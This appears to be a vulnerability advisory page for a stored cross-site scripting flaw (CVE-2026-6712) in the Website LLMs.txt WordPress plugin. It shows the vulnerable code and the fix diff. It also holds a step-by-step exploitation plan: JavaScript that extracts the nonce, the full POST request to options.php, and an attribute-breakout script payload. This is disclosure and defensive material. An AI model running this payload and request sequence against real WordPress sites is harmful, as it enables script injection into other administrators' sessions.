Website LLMs.txt <= 8.2.6 - Authenticated (Admin+) Stored Cross-Site Scripting
Description
The Website LLMs.txt plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 8.2.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=8.2.6What Changed in the Fix
Changes introduced in v8.2.7
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6712 ## 1. Vulnerability Summary The **Website LLMs.txt** plugin (<= 8.2.6) is vulnerable to **Authenticated (Admin+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the admin settings page where post type names (labels) for the `llms.txt` fil…
Show full research plan
Exploitation Research Plan: CVE-2026-6712
1. Vulnerability Summary
The Website LLMs.txt plugin (<= 8.2.6) is vulnerable to Authenticated (Admin+) Stored Cross-Site Scripting (XSS). The vulnerability exists in the admin settings page where post type names (labels) for the llms.txt file can be customized. Specifically, the plugin fails to sanitize the input when saving settings via the WordPress Settings API and fails to escape the output when rendering these values back into the value attribute of input fields in the admin dashboard.
This is particularly critical in WordPress Multisite environments or installations where unfiltered_html is disabled for administrators, as it allows them to bypass these restrictions and execute arbitrary scripts in the context of other administrative users.
2. Attack Vector Analysis
- Vulnerable Page: The plugin's settings page, typically found at
/wp-admin/options-general.php?page=llms-generator(inferred slug based on "Settings → LLMs.txt"). - Vulnerable Parameter:
llms_generator_settings[post_name][POST_TYPE_LABEL] - Authentication Requirement: Administrator (with permissions to manage plugin settings).
- Vulnerable Sink:
admin/admin-page.phpat line 107 and line 124. - Preconditions: The plugin must be active. The exploit is most relevant when the user is an Administrator in a context where
unfiltered_htmlis disabled (e.g., Multisite).
3. Code Flow
- Entry Point (Input): The user submits the settings form in the admin dashboard. The form targets
options.php(standard WordPress Settings API). - Persistence: WordPress saves the
llms_generator_settingsarray into thewp_optionstable. Due to missing or insufficient sanitization callbacks duringregister_setting(inferred), malicious HTML tags/attributes are stored. - Processing: The plugin loads settings using
get_option('llms_generator_settings')inside theLLMS_Generatorconstructor (includes/class-llms-generator.php, line 24). - Sink (Output): When an admin visits the settings page,
admin/admin-page.phpiterates through the available post types. - Vulnerable Execution:
- At line 107 (for ordered types):
<input type="text" name="llms_generator_settings[post_name][<?php echo esc_html($post_type->labels->name); ?>]" value="<?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? '' ?>"/> - The value is echoed directly into the
valueattribute without usingesc_attr(). This allows an attacker to break out of the attribute using">and inject a script.
- At line 107 (for ordered types):
4. Nonce Acquisition Strategy
The settings form uses the WordPress Settings API, which requires a nonce generated for the llms_generator_settings-options action.
- Identify Page: Navigate to the settings page
/wp-admin/options-general.php?page=llms-generator(or usebrowser_navigateto find the correctoptions-general.phpsubmenu link). - Extract Nonce: Since we are performing an authenticated exploit as Admin, we use the
browser_evaltool to extract the nonce from the hidden input field generated bysettings_fields('llms_generator_settings'). - JavaScript Execution:
// Extract the nonce from the settings form const nonce = document.querySelector('input[name="_wpnonce"]').value; const referer = document.querySelector('input[name="_wp_http_referer"]').value; return { nonce, referer };
5. Exploitation Strategy
Step-by-Step Plan
- Login: Authenticate as an Administrator.
- Access Settings: Navigate to the LLMs.txt settings page to retrieve the required nonces and verify the correct post type labels (usually "Posts").
- Payload Construction:
- Target Parameter:
llms_generator_settings[post_name][Posts](assuming the "Post" type has the label "Posts"). - Payload:
"><script>alert(document.domain)</script>
- Target Parameter:
- Submit Exploit: Send a POST request to
/wp-admin/options.phpusing thehttp_requesttool. - Verify Injection: Navigate back to the settings page to trigger the script execution.
HTTP Request Details
- URL:
http://<target>/wp-admin/options.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
option_page:llms_generator_settingsaction:update_wpnonce:[EXTRACTED_NONCE]_wp_http_referer:/wp-admin/options-general.php?page=llms-generatorllms_generator_settings[post_types][]:post(Ensures the 'post' type is active)llms_generator_settings[post_name][Posts]:"><script>alert(document.domain)</script>
6. Test Data Setup
- Plugin Activation: Ensure
website-llms-txtis installed and activated. - User Creation: Ensure an Administrator user exists.
- Target Post Type: Ensure the default "Post" type exists (standard in WP).
- (Optional) Restriction: To prove the severity, disable
unfiltered_htmlfor admins inwp-config.php:define( 'DISALLOW_UNFILTERED_HTML', true );
7. Expected Results
- After the POST request, WordPress should return a 302 redirect back to the settings page with
settings-updated=true. - Upon following the redirect or visiting the settings page manually, the HTML source at the vulnerable input field will look like:
<input type="text" name="llms_generator_settings[post_name][Posts]" value=""><script>alert(document.domain)</script>"/> - A JavaScript alert box showing the document domain will appear in the browser.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored in the options table:
Check if thewp option get llms_generator_settings --format=jsonpost_nameobject contains the script tag for the "Posts" key. - Source Inspection: Use
http_requestto GET the settings page and grep for the script tag:# Check if the script tag is present in the response body grep "<script>alert(document.domain)</script>"
9. Alternative Approaches
- Multisite Context: If the environment is a Multisite, perform the same steps as a Blog Admin. The script will execute when a Super Admin visits the site settings, potentially leading to Super Admin privilege escalation.
- Other Settings: Check for other fields in
admin/admin-page.phpthat use$settings. For example,llms_txt_titleorllms_txt_description. If they are also rendered without escaping, they serve as alternative injection points.- Potential sink:
llms_txt_titlefield atadmin/admin-page.php:191(inferred location in settings form).
- Potential sink:
Summary
The Website LLMs.txt plugin for WordPress is vulnerable to Stored Cross-Site Scripting via administrative settings in versions up to 8.2.6. This occurs because the plugin does not properly sanitize input or escape output for custom post type labels and file description fields, allowing administrators (particularly in multisite or restricted environments) to inject arbitrary JavaScript that executes in the context of other administrative users.
Vulnerable Code
// admin/admin-page.php line 107 and 124 <input type="text" name="llms_generator_settings[post_name][<?php echo esc_html($post_type->labels->name); ?>]" value="<?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? '' ?>"/> --- // admin/admin-page.php line 317 <textarea name="llms_generator_settings[llms_txt_title]" style="width: 100%;height: 40px;"><?php echo (isset($settings['llms_txt_title']) ? $settings['llms_txt_title'] : '') ?></textarea> --- // includes/class-llms-generator.php line 468 if(isset($this->settings['post_name'][$post_type_obj->labels->name]) && $this->settings['post_name'][$post_type_obj->labels->name]) { $name = $this->settings['post_name'][$post_type_obj->labels->name]; }
Security Fix
@@ -102,7 +102,7 @@ <div class="sortable-item active" data-post-type="<?php echo esc_attr($post_type->name); ?>"> <label> <input type="checkbox" name="llms_generator_settings[post_types][]" value="<?php echo esc_attr($post_type->name); ?>" checked> - <input type="text" name="llms_generator_settings[post_name][<?php echo esc_html($post_type->labels->name); ?>]" value="<?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? '' ?>"/> + <input type="text" name="llms_generator_settings[post_name][<?php echo esc_attr($post_type->labels->name); ?>]" value="<?php echo esc_attr($settings['post_name'][$post_type->labels->name] ?? '') ?>"/> <span class="dashicons dashicons-menu"></span> <?php echo esc_html($post_type->labels->name); ?> <small style="opacity: 0.7;">(<?php echo intval($indexed_count) . ' indexed of ' . intval($all_count); ?>)</small> @@ -117,7 +117,7 @@ <div class="sortable-item" data-post-type="<?php echo esc_attr($post_type->name); ?>"> <label> <input type="checkbox" name="llms_generator_settings[post_types][]" value="<?php echo esc_attr($post_type->name); ?>"/> - <input type="text" name="llms_generator_settings[post_name][<?php echo esc_html($post_type->labels->name); ?>]" value="<?php echo $settings['post_name'][esc_html($post_type->labels->name)] ?? '' ?>"/> + <input type="text" name="llms_generator_settings[post_name][<?php echo esc_attr($post_type->labels->name); ?>]" value="<?php echo esc_attr($settings['post_name'][$post_type->labels->name] ?? '') ?>"/> <span class="dashicons dashicons-menu"></span> <?php echo esc_html($post_type->labels->name); ?> <small style="opacity: 0.7;">(<?php echo intval($indexed_count) . ' indexed of ' . intval($all_count); ?>)</small> @@ -314,28 +314,28 @@ <label> <b><?php esc_html_e('LLMS.txt Title', 'website-llms-txt'); ?></b> </label><br/> - <textarea name="llms_generator_settings[llms_txt_title]" style="width: 100%;height: 40px;"><?php echo (isset($settings['llms_txt_title']) ? $settings['llms_txt_title'] : '') ?></textarea> + <textarea name="llms_generator_settings[llms_txt_title]" style="width: 100%;height: 40px;"><?php echo esc_textarea($settings['llms_txt_title'] ?? '') ?></textarea> <i><?php esc_html_e('Set a custom title for your LLMs.txt file. This will appear at the top of the generated file before any listed URLs.', 'website-llms-txt'); ?></i> </p> <p> <label> <b><?php esc_html_e('LLMS.txt Description', 'website-llms-txt'); ?></b> </label><br/> - <textarea name="llms_generator_settings[llms_txt_description]" style="width: 100%;height: 80px;"><?php echo (isset($settings['llms_txt_description']) ? $settings['llms_txt_description'] : '') ?></textarea> + <textarea name="llms_generator_settings[llms_txt_description]" style="width: 100%;height: 80px;"><?php echo esc_textarea($settings['llms_txt_description'] ?? '') ?></textarea> <i><?php esc_html_e('Optional introduction text added before the list of URLs. Use this to explain the purpose or structure of your LLMs.txt file.', 'website-llms-txt'); ?></i> </p> <p> <label> <b><?php esc_html_e('LLMS.txt After Description', 'website-llms-txt'); ?></b> </label><br/> - <textarea name="llms_generator_settings[llms_after_txt_description]" style="width: 100%;height: 80px;"><?php echo (isset($settings['llms_after_txt_description']) ? $settings['llms_after_txt_description'] : '') ?></textarea> + <textarea name="llms_generator_settings[llms_after_txt_description]" style="width: 100%;height: 80px;"><?php echo esc_textarea($settings['llms_after_txt_description'] ?? '') ?></textarea> <i><?php esc_html_e('Optional text inserted right before the list of links or content entries. You can use it to add additional notes, context, or data usage information before the URLs begin.', 'website-llms-txt'); ?></i> </p> <p> <label> <b><?php esc_html_e('LLMS.txt End File Description', 'website-llms-txt'); ?></b> </label><br/> - <textarea name="llms_generator_settings[llms_end_file_description]" style="width: 100%;height: 80px;"><?php echo (isset($settings['llms_end_file_description']) ? $settings['llms_end_file_description'] : '') ?></textarea> + <textarea name="llms_generator_settings[llms_end_file_description]" style="width: 100%;height: 80px;"><?php echo esc_textarea($settings['llms_end_file_description'] ?? '') ?></textarea> <i><?php esc_html_e('Final text appended at the bottom of the LLMs.txt file (e.g. footer, contact, or disclaimer information).', 'website-llms-txt'); ?></i> </p>
Exploit Outline
The exploit requires administrative privileges. 1. Authenticate to the WordPress admin dashboard. 2. Navigate to the plugin settings page (Settings -> LLMs.txt) and locate the "Post Types" or "LLMS.txt Title" fields. 3. Identify the nonce for the settings API (generated by `settings_fields('llms_generator_settings')`). 4. Craft a payload to break out of the HTML attribute, such as `"><script>alert(document.domain)</script>`. 5. Submit a POST request to `/wp-admin/options.php` with the parameter `llms_generator_settings[post_name][Posts]` (or another field like `llms_txt_title`) containing the payload, along with the valid `_wpnonce` and `_wp_http_referer`. 6. To trigger the XSS, navigate back to the settings page at `/wp-admin/options-general.php?page=llms-generator`. The browser will execute the injected script because the plugin fails to use `esc_attr()` or `esc_textarea()` when echoing the stored setting value.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.